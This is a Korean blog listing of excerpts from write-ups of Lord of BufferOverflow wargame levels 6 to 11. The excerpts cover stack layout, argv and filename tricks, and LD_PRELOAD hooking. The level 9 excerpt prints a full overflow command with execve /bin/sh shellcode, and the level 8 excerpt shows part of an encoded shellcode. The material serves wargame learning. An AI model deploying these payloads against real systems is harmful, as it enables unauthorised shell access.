반응형 Security/Pwnable70 LOB Level 11 skeleton skeleton -> golem 으로 접속합니다. 소스 코드를 보는데... 웃음만 나오네요 하하하 RET 영역을 빼고 모두다 초기화 시켜버리네요 그래도 혹시나 싶으니 golem을 golem1으로 복사하여 gdb로 열어봅시다. 프로그램이 끝나기 직전에 break 를 걸고 실행하면 쉘코드를 어디에다 올려야할지 감이 안잡히네요 다시금 메모리 구조를 생각한 결과 공유 라이브러리 말고는 없었습니다 공유라이브러리 + LD_PRELOAD 를 이용하여 후킹을 해야한다는 걸 알았습니다. 우선 공유라이브러리에 대해 다시 공부했습니다. 공유라이브러리는 심볼(함수,변수)들을 프록램이 시작하기 전에 로드하여 필요로 할 때마다 연동되는 동적인 라이브러리이다. 메모리, 용량 절약과 라이브러리를 어제든지 업데이트 할 수 있는 융통성.. 2021. 8. 10. LOB Level 10 vampire vampire -> skeleton 으로 접속합니다. 소스코드를 봅니다. 모든 argv를 다 초기화 시키네요... 혹시나 싶어서 이전에 사용했던 익스플로잇 코드를 사용해봤지만 역시나... 계속 삽질, 고민 하던중에 일단 스택을 뒤져보자는 생각을 합니다. 모든 argv가 초기화 되더라도 무엇이 남은게 있어야 풀 수 있겠다 싶었습니다. (만약 남은 것도 없으면 구글링 하려고 했었는데) 우선 퍼미션 문제때문에 문제파일을 복사하고 끝나는 부분 main+368에 브레이크를 걸어줍니다. 그냥 끝까지 다보려고 x/1000x $ebp를 했습니다. 아니 그런데 이럴수가 다행히 끝부분에 무언가가 있습니다. 이를 다시 확인해봅니다. (x/100x, x/100c, x/100s로 확인하던중) 현제 파일 명이 나온걸 발견! ar.. 2021. 8. 9. LOB Level 9 troll troll -> vampire 로 접속합니다. 소스파일을 봅시다. 우선 argc 4바이트의 argv[2]의 주소 +99974바이트의 쓰레기값 + 25바이트의 쉘코드 형태로 익스플로잇코드를 작성해서 카피한 파일에 시도하니 잘 되네요. ./vampire `python -c 'print "A"*44+"\x9b\x75\xfe\xbf"'` `python -c 'print "\x90"*99974 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'` 2021. 8. 9. LOB Level 8 orge orge -> troll 에 접속합니다. 소스코드를 봅시다. 우선 argv[1]사용 못하고.... 버퍼 초기화되고 실행 인자 두가지 흠.... 그럼 argv[0]을 이용하면 되겠군요 argv[0]에는 파일명이 저장 되니깐 파일명을 심볼릭 링크로 쉘코드로 지정해준 다음 RET를 argv[0]쪽으로 바꿔주면 되겠네요 그런데!! 만약에 쉘코드에 \x2f가 있으면 안된다네요 새로운 코드를 구합시다. \xeb\x11\x5e\x31\xc9\xb1\x32\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x32\xc1\x51\x69\x30\x30\x74\x69\x69\x30\x63\x6a\x6f\x8a\xe4\x51\x54\x8a\xe2\x9a\.. 2021. 8. 9. LOB Level 7 darkelf darkelf -> orge 접속해서 소스파일을 봅니다. Egghunter, buffer hunter, check the length of argument, argv[1][47] != "\xbf"는 저번과 같은데 새로운게 추가되었습니다. argv[0] 의 크기가 77이 아니면 안되네요 ./orge 라는 명령을 실행하면 argv[0]이 6이 됩니다. 그렇다면 python을 이용하여 ./////////~~////orge를 해서 77을 맞춰주면 argv[0]!=77이라는 조건을 맞춰줄 수 있겠군요. `python -c 'print "."+"/"*72+"orge"'` argv[0]에러가 나타나지 않는 걸 보니 해결된 것 같습니다. 그렇다면 이전에 풀었던 것 처럼 하면되겠군요. 소스코드를 복사하여 argv[1]의.. 2021. 8. 9. LOB Level 6 wolfman wolfman -> darkelf 접속합니다. 흠.. 에그헌터, 버퍼헌터, 그리고 argv[1]의 길이를 체크하네요 전까지 했던 exploit코드는 사용하지 못하네요 우선 메모리구조는 저번과 비슷할 것 같지만 그래도 한번더 확인하면 같군요 4RET 4SFT 44BUFFER Exploit 코드를 구상해봅시다. 우선 전 공격과 다르게 48바이트를 넘기면 안됩니다. 25바이트 쉘코드를 사용하므로 쉐코드를 argv[1]에 넣어주고 argv[1]의 주소를 리턴시켜주면 되겠네요 null(10) + shellcode(25) + null (9) + argv[1]_add 소스코드를 수정해서 argv[1]의 주소를 출력해줍니다. 아 실수로 argv[1]이 아니라 buffer의 주소를 출력했네요... printf("0x%x.. 2021. 8. 9. 이전 1 ··· 3 4 5 6 7 8 9 ··· 12 다음 반응형